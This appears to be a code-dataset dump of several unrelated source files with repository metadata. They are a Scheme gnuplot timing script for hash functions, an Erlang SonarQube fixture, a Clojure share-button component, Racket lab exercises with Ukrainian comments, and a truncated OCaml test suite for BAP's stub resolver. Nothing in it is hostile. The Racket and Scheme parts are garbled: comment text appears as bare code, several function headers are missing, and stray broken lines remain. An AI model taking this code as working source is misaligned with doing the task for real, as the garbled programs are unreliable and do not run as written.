(format port "\"loadfactor2.data\" title \"~A\" with linespoints," l2)
(format port "\"loadfactor3.data\" title \"~A\" with linespoints," l3)
(format port "\"loadfactor4.data\" title \"~A\" with linespoints~%" l4)
(format port "set terminal png size 640,480~%")
(format port "set output \"loadfactor.png\"~%")
(format port "replot~%")
(close-output-port port)))
(define (test-key-function file)
(define th0 (make-hash))
(define th1 (make-hash))
(define th2 (make-hash))
(hash-insert!/lots th0 mod11 self v0)
(hash-insert!/lots th1 sq-last3 self v0)
(hash-insert!/lots th2 cb-last3 self v0)
(define ts (vector t0 t1 t2 t3 t4))
(define ss (vector 400 500 600 700 800))
(define vs (vector th0 th1 th2))
(define fs (vector mod11 sq-last3 cb-last3))
(for-each
(lambda (i)
(let* ((port (open-output-file (format #f "key~A.data" i)))
(vec (vector-ref vs i))
(func (vector-ref fs i)))
(for-each
(lambda (x)
(let ((scale (vector-ref ss x))
(tv (vector-ref ts x)))
(with-timings
(lambda () (hash-search/lots vec func self tv))
(lambda (run-time gc-time real-time)
(format port "~A ~A~%" scale (exact->inexact (/ real-time scale)))))))
(iota 5))
(close-output-port port)))
(iota 3))
(let ((port (open-output-file file)))
(format port "set title \"How key function affect hash effience\\n(LoadFactor: ~A, Addr: self)\"~%" (hash-load-factor th0))
(format port "set grid~%")
(format port "set key left top Left reverse width 0 box 3~%")
(format port "set xlabel \"Sample Size\"~%")
(format port "set ylabel \"Search Time per Element(ticks)\"~%")
( format port " set " )
(format port "set autoscale y~%")
(format port "plot \"key0.data\" title \"~A\" with linespoints," "mod11")
(format port "\"key1.data\" title \"~A\" with linespoints," "sq-last3")
(format port "\"key2.data\" title \"~A\" with linespoints~%" "cb-last3")
(format port "set terminal png size 640,480~%")
(format port "set output \"key.png\"~%")
(format port "replot~%")
(close-output-port port)))
(define (test-addr-function file)
(define th0 (make-hash))
(define th1 (make-hash))
(define th2 (make-hash))
(hash-insert!/lots th0 sq-last3 self v0)
(hash-insert!/lots th1 sq-last3 square v0)
(hash-insert!/lots th2 sq-last3 cube v0)
(define ts (vector t0 t1 t2 t3 t4))
(define ss (vector 400 500 600 700 800))
(define vs (vector th0 th1 th2))
(define fs (vector self square cube))
(for-each
(lambda (i)
(let* ((port (open-output-file (format #f "addr~A.data" i)))
(vec (vector-ref vs i))
(func (vector-ref fs i)))
(for-each
(lambda (x)
(let ((scale (vector-ref ss x))
(tv (vector-ref ts x)))
(with-timings
(lambda ()
(repeat 50 (lambda () (hash-search/lots vec sq-last3 func tv))))
(lambda (run-time gc-time real-time)
(format port "~A ~A~%" scale (exact->inexact (/ real-time scale)))))))
(iota 5))
(close-output-port port)))
(iota 3))
(let ((port (open-output-file file)))
(format port "set title \"How addr function affect hash effience\\n(LoadFactor: ~A, Key: sq-last3)\"~%" (hash-load-factor th0))
(format port "set grid~%")
(format port "set key left top Left reverse width 0 box 3~%")
(format port "set xlabel \"Sample Size\"~%")
(format port "set ylabel \"Search Time per Element(ticks)\"~%")
( format port " set " )
(format port "set autoscale y~%")
(format port "plot \"addr0.data\" title \"~A\" with linespoints," "self")
(format port "\"addr1.data\" title \"~A\" with linespoints," "square")
(format port "\"addr2.data\" title \"~A\" with linespoints~%" "cube")
(format port "set terminal png size 640,480~%")
(format port "set output \"addr.png\"~%")
(format port "replot~%")
(close-output-port port)))
(test-addr-function "addr.plt") |
41f4d6c30de8617210ff047d24b88e856323dc5153be261c03b31599149cf475 | SonarQubeCommunity/sonar-erlang | funargs.erl | -module(statements).
sayHello(A) ->
Code.
sayHello(A, B, C, D, E, F, G) ->
Code;
sayHello(A, B, C, D, E, F, []) ->
Code.
hello(A, B, C, D, E, F) ->
Code.
bello() ->
Code.
| null | https://raw.githubusercontent.com/SonarQubeCommunity/sonar-erlang/279eb7ccd84787c1c0cfd34b9a07981eb20183e3/erlang-squid/src/test/resources/metrics/funargs.erl | erlang | -module(statements).
sayHello(A) ->
Code.
sayHello(A, B, C, D, E, F, G) ->
Code;
sayHello(A, B, C, D, E, F, []) ->
Code.
hello(A, B, C, D, E, F) ->
Code.
bello() ->
Code.
| |
1a735cfc8ffe26a0784bcf2715f646f41084ddf28d195066932098632880fd7f | heraldry/heraldicon | share.cljs | (ns heraldicon.frontend.entity.action.share
(:require
["copy-to-clipboard" :as copy-to-clipboard]
[heraldicon.entity.arms :as entity.arms]
[heraldicon.entity.attribution :as entity.attribution]
[heraldicon.frontend.entity.core :as entity]
[heraldicon.frontend.entity.form :as form]
[heraldicon.frontend.language :refer [tr]]
[heraldicon.frontend.message :as message]
[re-frame.core :as rf]))
(defn- generate-url [db entity-type]
(let [form-db-path (form/data-path entity-type)
entity-data (get-in db form-db-path)]
(if (= entity-type :heraldicon.entity.type/arms)
(entity.arms/short-url entity-data)
(entity.attribution/full-url-for-entity-data entity-data))))
(rf/reg-event-fx ::invoke
(fn [{:keys [db]} [_ entity-type]]
(let [share-url (generate-url db entity-type)]
{:dispatch (if (copy-to-clipboard share-url)
[::message/set-success entity-type :string.user.message/copied-url-for-sharing]
[::message/set-error entity-type :string.user.message/copy-to-clipboard-failed])})))
(defn action [entity-type]
(let [form-db-path (form/data-path entity-type)
can-share? (and @(rf/subscribe [::entity/public? form-db-path])
@(rf/subscribe [::entity/saved? form-db-path])
(not @(rf/subscribe [::form/unsaved-changes? entity-type])))]
{:title :string.button/share
:icon "fas fa-share-alt"
:handler (when can-share?
#(rf/dispatch [::invoke entity-type]))
:disabled? (not can-share?)
:tooltip (when-not can-share?
:string.user.message/arms-need-to-be-public-and-saved-for-sharing)}))
(defn button [entity-type]
(let [{:keys [handler
disabled?
tooltip]} (action entity-type)]
[:button.button {:style {:flex "initial"
:color "#777"}
:class (when disabled? "disabled")
:title (tr tooltip)
:on-click handler}
[:i.fas.fa-share-alt]]))
| null | https://raw.githubusercontent.com/heraldry/heraldicon/7bf4dd4149e1f69c9e4f9a0b6b826f73f532a01d/src/heraldicon/frontend/entity/action/share.cljs | clojure | (ns heraldicon.frontend.entity.action.share
(:require
["copy-to-clipboard" :as copy-to-clipboard]
[heraldicon.entity.arms :as entity.arms]
[heraldicon.entity.attribution :as entity.attribution]
[heraldicon.frontend.entity.core :as entity]
[heraldicon.frontend.entity.form :as form]
[heraldicon.frontend.language :refer [tr]]
[heraldicon.frontend.message :as message]
[re-frame.core :as rf]))
(defn- generate-url [db entity-type]
(let [form-db-path (form/data-path entity-type)
entity-data (get-in db form-db-path)]
(if (= entity-type :heraldicon.entity.type/arms)
(entity.arms/short-url entity-data)
(entity.attribution/full-url-for-entity-data entity-data))))
(rf/reg-event-fx ::invoke
(fn [{:keys [db]} [_ entity-type]]
(let [share-url (generate-url db entity-type)]
{:dispatch (if (copy-to-clipboard share-url)
[::message/set-success entity-type :string.user.message/copied-url-for-sharing]
[::message/set-error entity-type :string.user.message/copy-to-clipboard-failed])})))
(defn action [entity-type]
(let [form-db-path (form/data-path entity-type)
can-share? (and @(rf/subscribe [::entity/public? form-db-path])
@(rf/subscribe [::entity/saved? form-db-path])
(not @(rf/subscribe [::form/unsaved-changes? entity-type])))]
{:title :string.button/share
:icon "fas fa-share-alt"
:handler (when can-share?
#(rf/dispatch [::invoke entity-type]))
:disabled? (not can-share?)
:tooltip (when-not can-share?
:string.user.message/arms-need-to-be-public-and-saved-for-sharing)}))
(defn button [entity-type]
(let [{:keys [handler
disabled?
tooltip]} (action entity-type)]
[:button.button {:style {:flex "initial"
:color "#777"}
:class (when disabled? "disabled")
:title (tr tooltip)
:on-click handler}
[:i.fas.fa-share-alt]]))
| |
b7a928d2a27abf384b4d4e991d249b0471428276cf43c207b3398065b58fffa0 | tkovalyuk/functional-program | ex47-52 for lab1+lab2.rkt | = = = = = = = = example 47==================
;Приклад1 до Лаб 1 - рекурсія
;Ввести з клавіатури два натуральних числа n та m.
Обчислити кількість комбінацій з n по m.
Кількість комбінацій визначається рекурентним співвідношенням :
рекурсії .
;
;================================================
(define (enter-num)
(display "Please, enter a number - first number>second number:")
читання з клавіатури
(if (integer? num)
num
" захист введення до поки не "
-------Обчислення кількості комбінацій з n по m---
(define (С n k)
(if (< k 0)
0
(if (or (= n k) (and (= k 0) (< n 0)))
1
(+ (С (- n 1) (- k 1)) (С (- n 1) k))
)
)
)
;----------------глибинa рекурсії
(define (depthС n k)
(if (< k 0)
1
(if (or (= n k) (and (= k 0) (< n 0)))
1
(+ (max (depthС (- n 1) (- k 1)) (depthС (- n 1) k)) 1)
)
)
)
;---- головна програма
(define (main)
(let ((n (enter-num)) (k (enter-num)))
(cond ((< n k) (display "Невірний параметр!"))
(else
(display (С n k))
(newline)
(display (depthС n k)))
)
)
)
(display "\n=====Ex 47 for Лаб 1 вар.XXX ST-Name gr YYY\n Number of combinations")
(newline)
(newline)
= = = = = = = = example 48==================
;приклад2 до Лаб 1
Вивести всі його цифри по одній в прямому порядку ,
розділяючи їх пробілами або новими рядками .
При розв'язанні цього дозволена тільки рекурсія і цілочисельна арифметика .
Контрольний тест : число 456 , отриманий результат : 4 5 6 .
(define (print-num-by-chars num)
(cond ((= (quotient num 10) 0) (display num))
(else
(print-num-by-chars (quotient num 10))
(display " ")
(display (- num (* (quotient num 10) 10))))))
(define (enter&print-num-by-chars)
(display "Please, enter a number>=10: ")
(let ((num (read)))
----- , чи є число цілим
(cond ((not (integer? num))
----- якщо не ціле , то
(display "Ohh... I asked a number. Here we go again...")
(newline)
(enter&print-num-by-chars))
;----- else - making the stuff
(else (print-num-by-chars num)))))
;----- call main function
(newline)
(display "=====ex 48 for Лаб 1 вар.XXX ST-Name gr YYY selection of digits")
(newline)
(enter&print-num-by-chars)
= = = = = = = = = = = = = example 49 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Приклад3 lab1 .
По колу стоять n людей , яким присвоєні номери від 1 до n.
Починаючи відлік з першого і рухаючись по колу ,
кожна друга людина виходитиме з , .
номер , , x. Потім по колу стоятиме x людей
і процедура виходу з колу людей ,
з номером y. Ці процедури , тої людини ,
що залишиться , не стане рівним первинній кількості людей .
, яка залишилася , і кількість повторів процедури .
Номер людини f(n ) , що залишилася , обчислюється за рекурентним співвідношенням :
(define (skip-people n depth)
(display "number of peoples:")
(display n)
(newline)
(display "recursion depth:")
(display depth)
(newline)
(if (= n 1)
1
(if (even? n)
(- (* 2 (skip-people(quotient n 2) (+ depth 1)))1) ;(quotient n m) - ціла частина від ділення n на m
(+ (* 2 (skip-people(quotient n 2) (+ depth 1)))1)
))
)
(display "\n=====ex 49 for lab 1 var XXX Stud name grYYY")
(newline)
(skip-people 11 0) ;call procedure
(display "end")
= = = = = = = = = = = = = = = example 50 = = = = = = = = = = = = = = = = = = = = = = = =
Приклад 4 lab2
, задавши значення точності при виклику функції .
(define (calc-fraction-2 iter-count)
(+ 1 (/ 1 (+ 1 (calc-fraction-iter #t iter-count)))))
(define (calc-fraction acc)
(calc-fraction-high-iter 0 acc))
(define (calc-fraction-high-iter iter-count acc)
(let ((prev (+ 1 (/ 1 (+ 1 (calc-fraction-iter #t iter-count)))))
(next (+ 1 (/ 1 (+ 1 (calc-fraction-iter #t (+ iter-count 1)))))))
(if (< (abs (- next prev)) acc)
next
(calc-fraction-high-iter (+ iter-count 1) acc))))
(define (calc-fraction-iter is-even iter-count)
(let ((num (if is-even 2 1)))
(cond ((equal? 0 iter-count) (/ 1 num))
(else
(/ 1 (+ num (calc-fraction-iter (not is-even) (- iter-count 1))))))))
(newline)
(display "======ex50 for lab2, var ХХХ chain fraction")
(newline)
call procedure 0.00001 - точність розрахунку
= = = = = = = = = = = example 51 for lab2 = = = = = = = = = = =
пнриклад 5 lab2
використовується допоміжна функція fraction_divider ,
яка дріб до певного кроку , передає у функції fraction_step ,
результат цього обрахування на кроці n порівнюється з результатом на кроці n+1 ,
та якщо їх різниця менша за задану точність , обрахунок зупиняється .
;================================
(define (fraction precision)
(+ 3 (fraction_step 1 precision))
)
= = = = = = = = = = n кількість кроків циклу ----------------
(define (fraction_step n precision)
(let(
(divider_result_for_n (fraction_divider 1 1 n))
(divider_result_for_n1 (fraction_divider 1 1 (+ 1 n)))
)
(if (> (abs (- divider_result_for_n1 divider_result_for_n)) precision)
(fraction_step(+ 1 n) precision)
divider_result_for_n
)
)
)
(define (fraction_divider dividend step_number n_precision)
(let (
(divider_part (* (+ step_number 2) (+ step_number 2)))
)
(if (= n_precision 0)
divider_part
(/ dividend (+ 6 (fraction_divider divider_part (+ 2 step_number) (- n_precision 1))))
)
)
)
(newline)
(display "lab 2. Обчислити нескінчений ланцюговий дріб, задавши значення точності")
(display "Введіть точність = ")
(define precision (read (current-input-port)))
вивести значення дробу
= = = = = = = = = = example 52 for lab2 без циклу перебору значень аргументу==========
розкладання sin(х ) в ряд Тейлора ( Маклорена )
(define (factorial n)
(if (= n 0)
1
(* n (factorial (- n 1)))))
розкладання ) в ряд Тейлора
(cond ((not (null? n))
(cond ((< 25 (car n))
0)
(else (- (/ (expt x (car n)) (factorial (car n)))
(my-sin x (+ 2 (car n) ) ) ) ) ) )
(else (- x (my-sin x 3)))))
обчислення функції ) для x>2 , x=2 , x<2
(if (< x 2)
(my-sin (+ x 0.5 ) )
(if (> x 2)
(my-sin (/ x 2))
(my-sin (- x 1))
)
))
обчислення вбудованої функції sin(x ) для x>2 , x=2 , x<2
(if (< x 2)
(sin (+ x 0.5 ) )
(if (> x 2)
(sin (/ x 2))
(sin (- x 1))
)
))
(display "фунція по ряду тейлора :")
(y 0.5)
(newline)
(display "встандартна фунція ")
(ystandard 0.5)
(newline)
функції SCHEME | null | https://raw.githubusercontent.com/tkovalyuk/functional-program/37ffa67d813a6d410949557e28440600fb3784f3/code_example/ex47-52%20for%20lab1%2Blab2.rkt | racket | Приклад1 до Лаб 1 - рекурсія
Ввести з клавіатури два натуральних числа n та m.
================================================
----------------глибинa рекурсії
---- головна програма
приклад2 до Лаб 1
----- else - making the stuff
----- call main function
(quotient n m) - ціла частина від ділення n на m
call procedure
================================ | = = = = = = = = example 47==================
Обчислити кількість комбінацій з n по m.
Кількість комбінацій визначається рекурентним співвідношенням :
рекурсії .
(define (enter-num)
(display "Please, enter a number - first number>second number:")
читання з клавіатури
(if (integer? num)
num
" захист введення до поки не "
-------Обчислення кількості комбінацій з n по m---
(define (С n k)
(if (< k 0)
0
(if (or (= n k) (and (= k 0) (< n 0)))
1
(+ (С (- n 1) (- k 1)) (С (- n 1) k))
)
)
)
(define (depthС n k)
(if (< k 0)
1
(if (or (= n k) (and (= k 0) (< n 0)))
1
(+ (max (depthС (- n 1) (- k 1)) (depthС (- n 1) k)) 1)
)
)
)
(define (main)
(let ((n (enter-num)) (k (enter-num)))
(cond ((< n k) (display "Невірний параметр!"))
(else
(display (С n k))
(newline)
(display (depthС n k)))
)
)
)
(display "\n=====Ex 47 for Лаб 1 вар.XXX ST-Name gr YYY\n Number of combinations")
(newline)
(newline)
= = = = = = = = example 48==================
Вивести всі його цифри по одній в прямому порядку ,
розділяючи їх пробілами або новими рядками .
При розв'язанні цього дозволена тільки рекурсія і цілочисельна арифметика .
Контрольний тест : число 456 , отриманий результат : 4 5 6 .
(define (print-num-by-chars num)
(cond ((= (quotient num 10) 0) (display num))
(else
(print-num-by-chars (quotient num 10))
(display " ")
(display (- num (* (quotient num 10) 10))))))
(define (enter&print-num-by-chars)
(display "Please, enter a number>=10: ")
(let ((num (read)))
----- , чи є число цілим
(cond ((not (integer? num))
----- якщо не ціле , то
(display "Ohh... I asked a number. Here we go again...")
(newline)
(enter&print-num-by-chars))
(else (print-num-by-chars num)))))
(newline)
(display "=====ex 48 for Лаб 1 вар.XXX ST-Name gr YYY selection of digits")
(newline)
(enter&print-num-by-chars)
= = = = = = = = = = = = = example 49 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Приклад3 lab1 .
По колу стоять n людей , яким присвоєні номери від 1 до n.
Починаючи відлік з першого і рухаючись по колу ,
кожна друга людина виходитиме з , .
номер , , x. Потім по колу стоятиме x людей
і процедура виходу з колу людей ,
з номером y. Ці процедури , тої людини ,
що залишиться , не стане рівним первинній кількості людей .
, яка залишилася , і кількість повторів процедури .
Номер людини f(n ) , що залишилася , обчислюється за рекурентним співвідношенням :
(define (skip-people n depth)
(display "number of peoples:")
(display n)
(newline)
(display "recursion depth:")
(display depth)
(newline)
(if (= n 1)
1
(if (even? n)
(+ (* 2 (skip-people(quotient n 2) (+ depth 1)))1)
))
)
(display "\n=====ex 49 for lab 1 var XXX Stud name grYYY")
(newline)
(display "end")
= = = = = = = = = = = = = = = example 50 = = = = = = = = = = = = = = = = = = = = = = = =
Приклад 4 lab2
, задавши значення точності при виклику функції .
(define (calc-fraction-2 iter-count)
(+ 1 (/ 1 (+ 1 (calc-fraction-iter #t iter-count)))))
(define (calc-fraction acc)
(calc-fraction-high-iter 0 acc))
(define (calc-fraction-high-iter iter-count acc)
(let ((prev (+ 1 (/ 1 (+ 1 (calc-fraction-iter #t iter-count)))))
(next (+ 1 (/ 1 (+ 1 (calc-fraction-iter #t (+ iter-count 1)))))))
(if (< (abs (- next prev)) acc)
next
(calc-fraction-high-iter (+ iter-count 1) acc))))
(define (calc-fraction-iter is-even iter-count)
(let ((num (if is-even 2 1)))
(cond ((equal? 0 iter-count) (/ 1 num))
(else
(/ 1 (+ num (calc-fraction-iter (not is-even) (- iter-count 1))))))))
(newline)
(display "======ex50 for lab2, var ХХХ chain fraction")
(newline)
call procedure 0.00001 - точність розрахунку
= = = = = = = = = = = example 51 for lab2 = = = = = = = = = = =
пнриклад 5 lab2
використовується допоміжна функція fraction_divider ,
яка дріб до певного кроку , передає у функції fraction_step ,
результат цього обрахування на кроці n порівнюється з результатом на кроці n+1 ,
та якщо їх різниця менша за задану точність , обрахунок зупиняється .
(define (fraction precision)
(+ 3 (fraction_step 1 precision))
)
= = = = = = = = = = n кількість кроків циклу ----------------
(define (fraction_step n precision)
(let(
(divider_result_for_n (fraction_divider 1 1 n))
(divider_result_for_n1 (fraction_divider 1 1 (+ 1 n)))
)
(if (> (abs (- divider_result_for_n1 divider_result_for_n)) precision)
(fraction_step(+ 1 n) precision)
divider_result_for_n
)
)
)
(define (fraction_divider dividend step_number n_precision)
(let (
(divider_part (* (+ step_number 2) (+ step_number 2)))
)
(if (= n_precision 0)
divider_part
(/ dividend (+ 6 (fraction_divider divider_part (+ 2 step_number) (- n_precision 1))))
)
)
)
(newline)
(display "lab 2. Обчислити нескінчений ланцюговий дріб, задавши значення точності")
(display "Введіть точність = ")
(define precision (read (current-input-port)))
вивести значення дробу
= = = = = = = = = = example 52 for lab2 без циклу перебору значень аргументу==========
розкладання sin(х ) в ряд Тейлора ( Маклорена )
(define (factorial n)
(if (= n 0)
1
(* n (factorial (- n 1)))))
розкладання ) в ряд Тейлора
(cond ((not (null? n))
(cond ((< 25 (car n))
0)
(else (- (/ (expt x (car n)) (factorial (car n)))
(my-sin x (+ 2 (car n) ) ) ) ) ) )
(else (- x (my-sin x 3)))))
обчислення функції ) для x>2 , x=2 , x<2
(if (< x 2)
(my-sin (+ x 0.5 ) )
(if (> x 2)
(my-sin (/ x 2))
(my-sin (- x 1))
)
))
обчислення вбудованої функції sin(x ) для x>2 , x=2 , x<2
(if (< x 2)
(sin (+ x 0.5 ) )
(if (> x 2)
(sin (/ x 2))
(sin (- x 1))
)
))
(display "фунція по ряду тейлора :")
(y 0.5)
(newline)
(display "встандартна фунція ")
(ystandard 0.5)
(newline)
функції SCHEME |
1422794ca554bb04115953e0ef306955c3ee32f8e4c1395a7c4c014aa33a0228 | BinaryAnalysisPlatform/bap | stub_resolver_tests.ml | *
In order to test stub resolver we generate a dummy programs like
in the example below :
0000000b : program
00000008 : sub a ( )
00000007 :
0000000a : sub b ( )
00000009 :
...
and provide a knowledge about each symbol :
if it 's a stub and if it has aliases .
In order to test stub resolver we generate a dummy programs like
in the example below:
0000000b: program
00000008: sub a()
00000007:
0000000a: sub b()
00000009:
...
and provide a knowledge about each symbol:
if it's a stub and if it has aliases.
*)
open Core_kernel[@@warning "-D"]
open Bap_core_theory
open Bap_knowledge
open Bap.Std
open OUnit2
open KB.Syntax
module Cfg = Graphs.Cfg
module Dis = Disasm_expert.Basic
type sym = {
is_stub : bool;
aliases : string list;
}
let run dis mem =
Or_error.ok_exn @@
Dis.run dis mem
~init:[]
~return:Result.return
~stop_on:[`Valid]
~invalid:(fun state _ pos -> Dis.step state pos)
~hit:(fun state mem insn insns ->
Dis.step state ((mem, Insn.of_basic insn) :: insns))
let block_of_bytes addr b =
let code = Bigstring.of_string b in
let mem =
Or_error.ok_exn @@
Memory.create LittleEndian addr code in
let dis = Or_error.ok_exn @@ Dis.create ~backend:"llvm"
(Arch.to_string `x86_64) in
let insns = run dis mem in
Block.create mem insns
let add_symbol symtab name addr bytes =
let block = block_of_bytes addr bytes in
Symtab.add_symbol symtab
(name, block, Cfg.Node.insert block Cfg.empty)
let collect_stubs syms =
Map.fold syms ~init:(Set.empty (module String))
~f:(fun ~key:name ~data:{is_stub} stubs ->
if is_stub
then Set.add stubs name
else stubs)
let tag_stubs syms prog =
let stubs = collect_stubs syms in
let make_addr sub =
Addr.of_int64 @@ Int63.to_int64 @@ KB.Object.id (Term.tid sub) in
Term.map sub_t prog ~f:(fun sub ->
if Set.mem stubs (Sub.name sub)
then Term.set_attr sub Sub.stub ()
else
let addressed = Term.set_attr sub address (make_addr sub) in
Term.set_attr addressed filename "test")
let cfg_of_block b = Cfg.Node.insert b Cfg.empty
let tid_for_name_exn prog name =
Term.to_sequence sub_t prog |>
Seq.find_map
~f:(fun s ->
if String.equal (Sub.name s) name
then Some (Term.tid s)
else None) |> function
| None -> failwithf "no tid for name %s" name ()
| Some s -> s
let provide_aliases prog syms =
Toplevel.exec begin
Map.to_sequence syms |>
KB.Seq.iter ~f:(fun (name,{aliases}) ->
let tid = tid_for_name_exn prog name in
let aliases = Set.of_list (module String) aliases in
KB.provide Theory.Label.aliases tid aliases)
end
let create_program syms =
let nop = "\x66\x90" in
let step = Addr.of_int64 2L in
let rec loop symtab addr = function
| [] -> symtab
| name :: names ->
let symtab = add_symbol symtab name addr nop in
loop symtab Addr.(addr + step) names in
let symtab = loop Symtab.empty (Addr.zero 64) (Map.keys syms) in
let prog = Program.lift symtab |> tag_stubs syms in
provide_aliases prog syms;
prog
let string_of_tids tids =
let content =
Map.to_alist tids |>
List.map ~f:(fun (src,dst) ->
Format.asprintf "%s -> %s" (Tid.name src) (Tid.name dst)) in
Format.asprintf "(%s)" (String.concat ~sep:", " content)
let run ?(skip=false) name symbols expected should_fail _ctxt =
let syms =
List.fold symbols ~init:(Map.empty (module String))
~f:(fun syms (name,data) ->
Map.add_exn syms name data) in
let prog = create_program syms in
let expected =
List.fold expected
~init:(Map.empty (module Tid))
~f:(fun tids (stub, impl) ->
Map.add_exn tids
(tid_for_name_exn prog stub)
(tid_for_name_exn prog impl)) in
let pairs = Stub_resolver.(links@@run prog) in
let equal = Map.equal Tid.equal in
let equal = if should_fail then fun x y -> not (equal x y) else equal in
let msg = "the mappings shall " ^
if should_fail then "differ" else "be the same" in
OUnit.skip_if skip "To be fixed";
assert_equal expected pairs
~cmp:equal
~msg
~printer:string_of_tids
let real name aliases = name, {is_stub = false; aliases}
let stub name aliases = name, {is_stub = true; aliases}
let test name ?skip ?(should_fail=false) ~expected symbols =
name >:: run ?skip name symbols expected should_fail
let suite = "stub-resolver" >::: [
test "simple case: we have pairs" [
real "a0" [];
stub "a1" ["a0"];
] ~expected:["a1", "a0"];
test "simple case: mapping should be from stub to impl" [
real "a0" [];
stub "a1" ["a0"];
] ~expected:["a0", "a1"] ~should_fail:true;
test "simple case: no pairs" [
real "b0" [];
stub "b1" [];
] ~expected:[];
test "simple case: still no pairs" [
real "c0" [];
stub "c1" ["c2"];
] ~expected:[];
test "stubs only" [
stub "d0" [];
stub "d1" ["d0"];
] ~expected:[];
test "impl only" [
real "e0" [];
real "e1" ["e0"];
] ~expected:[];
test "impl can be aliased as well" [
real "f0" ["f1"];
stub "f1" [];
] ~expected:["f1", "f0"];
test "many aliases" [
real "g0" ["g1"; "g2"];
stub "g1" [];
] ~expected:["g1", "g0"];
test "ambiguous impl" [
real "h0" ["h1"; "h2"];
stub "h1" [];
stub "h2" [];
] ~expected:[
"h1", "h0";
"h2", "h0";
];
test "ambiguous stubs" [
real "i0" [];
stub "i1" ["i0"];
stub "i2" ["i0"];
] ~expected:[
"i1", "i0";
"i2", "i0";
];
test "crossreference" [
real "j0" ["j1"];
stub "j1" ["j0"];
] ~expected:["j1", "j0"];
test "many pairs" [
real "k0" [];
real "k1" [];
real "k2" [];
stub "k3" ["k0"];
stub "k4" ["k1"];
stub "k5" ["k2"];
] ~expected:[
"k3", "k0";
"k4", "k1";
"k5", "k2";
];
test "several intersections 1" [
stub "m0" ["m2"; "m3"; "m4"];
real "m1" ["m0"];
stub "m5" ["m6"; "m7"; "m8"];
real "m6" ["m5"; "m9"];
real "m9" ["m10"];
stub "m10" [];
] ~expected:[
"m0", "m1";
];
test "several intersections 2" [
stub "n0" ["n1"; "n2"; "n3"];
real "n1" [];
real "n4" ["n5"];
stub "n5" [];
real "n6" [];
stub "n7" ["n6"];
real "n8" ["n1"; "n5"]
] ~expected:["n7", "n6"];
test "several intersections 3" [
stub "p0" ["p1"; "p2"; "p3"];
stub "p4" ["p5"; "p6"; "p7"];
real "p5" [];
stub "p6" ["p8"; "p9"; "p10"; "p4"];
real "p11" ["p12"; "p13"; "p1"];
] ~expected:[
"p0", "p11";
"p4", "p5";
"p6", "p5";
];
]
| null | https://raw.githubusercontent.com/BinaryAnalysisPlatform/bap/cbdf732d46c8e38df79d9942fc49bcb97915c657/lib_test/stub_resolver/stub_resolver_tests.ml | ocaml | *
In order to test stub resolver we generate a dummy programs like
in the example below :
0000000b : program
00000008 : sub a ( )
00000007 :
0000000a : sub b ( )
00000009 :
...
and provide a knowledge about each symbol :
if it 's a stub and if it has aliases .
In order to test stub resolver we generate a dummy programs like
in the example below:
0000000b: program
00000008: sub a()
00000007:
0000000a: sub b()
00000009:
...
and provide a knowledge about each symbol:
if it's a stub and if it has aliases.
*)
open Core_kernel[@@warning "-D"]
open Bap_core_theory
open Bap_knowledge
open Bap.Std
open OUnit2
open KB.Syntax
module Cfg = Graphs.Cfg
module Dis = Disasm_expert.Basic
type sym = {
is_stub : bool;
aliases : string list;
}
let run dis mem =
Or_error.ok_exn @@
Dis.run dis mem
~init:[]
~return:Result.return
~stop_on:[`Valid]
~invalid:(fun state _ pos -> Dis.step state pos)
~hit:(fun state mem insn insns ->
Dis.step state ((mem, Insn.of_basic insn) :: insns))
let block_of_bytes addr b =
let code = Bigstring.of_string b in
let mem =
Or_error.ok_exn @@
Memory.create LittleEndian addr code in
let dis = Or_error.ok_exn @@ Dis.create ~backend:"llvm"
(Arch.to_string `x86_64) in
let insns = run dis mem in
Block.create mem insns
let add_symbol symtab name addr bytes =
let block = block_of_bytes addr bytes in
Symtab.add_symbol symtab
(name, block, Cfg.Node.insert block Cfg.empty)
let collect_stubs syms =
Map.fold syms ~init:(Set.empty (module String))
~f:(fun ~key:name ~data:{is_stub} stubs ->
if is_stub
then Set.add stubs name
else stubs)
let tag_stubs syms prog =
let stubs = collect_stubs syms in
let make_addr sub =
Addr.of_int64 @@ Int63.to_int64 @@ KB.Object.id (Term.tid sub) in
Term.map sub_t prog ~f:(fun sub ->
if Set.mem stubs (Sub.name sub)
then Term.set_attr sub Sub.stub ()
else
let addressed = Term.set_attr sub address (make_addr sub) in
Term.set_attr addressed filename "test")
let cfg_of_block b = Cfg.Node.insert b Cfg.empty
let tid_for_name_exn prog name =
Term.to_sequence sub_t prog |>
Seq.find_map
~f:(fun s ->
if String.equal (Sub.name s) name
then Some (Term.tid s)
else None) |> function
| None -> failwithf "no tid for name %s" name ()
| Some s -> s
let provide_aliases prog syms =
Toplevel.exec begin
Map.to_sequence syms |>
KB.Seq.iter ~f:(fun (name,{aliases}) ->
let tid = tid_for_name_exn prog name in
let aliases = Set.of_list (module String) aliases in
KB.provide Theory.Label.aliases tid aliases)
end
let create_program syms =
let nop = "\x66\x90" in
let step = Addr.of_int64 2L in
let rec loop symtab addr = function
| [] -> symtab
| name :: names ->
let symtab = add_symbol symtab name addr nop in
loop symtab Addr.(addr + step) names in
let symtab = loop Symtab.empty (Addr.zero 64) (Map.keys syms) in
let prog = Program.lift symtab |> tag_stubs syms in
provide_aliases prog syms;
prog
let string_of_tids tids =
let content =
Map.to_alist tids |>
List.map ~f:(fun (src,dst) ->
Format.asprintf "%s -> %s" (Tid.name src) (Tid.name dst)) in
Format.asprintf "(%s)" (String.concat ~sep:", " content)
let run ?(skip=false) name symbols expected should_fail _ctxt =
let syms =
List.fold symbols ~init:(Map.empty (module String))
~f:(fun syms (name,data) ->
Map.add_exn syms name data) in
let prog = create_program syms in
let expected =
List.fold expected
~init:(Map.empty (module Tid))
~f:(fun tids (stub, impl) ->
Map.add_exn tids
(tid_for_name_exn prog stub)
(tid_for_name_exn prog impl)) in
let pairs = Stub_resolver.(links@@run prog) in
let equal = Map.equal Tid.equal in
let equal = if should_fail then fun x y -> not (equal x y) else equal in
let msg = "the mappings shall " ^
if should_fail then "differ" else "be the same" in
OUnit.skip_if skip "To be fixed";
assert_equal expected pairs
~cmp:equal
~msg
~printer:string_of_tids
let real name aliases = name, {is_stub = false; aliases}
let stub name aliases = name, {is_stub = true; aliases}
let test name ?skip ?(should_fail=false) ~expected symbols =
name >:: run ?skip name symbols expected should_fail
let suite = "stub-resolver" >::: [
test "simple case: we have pairs" [
real "a0" [];
stub "a1" ["a0"];
] ~expected:["a1", "a0"];
test "simple case: mapping should be from stub to impl" [
real "a0" [];
stub "a1" ["a0"];
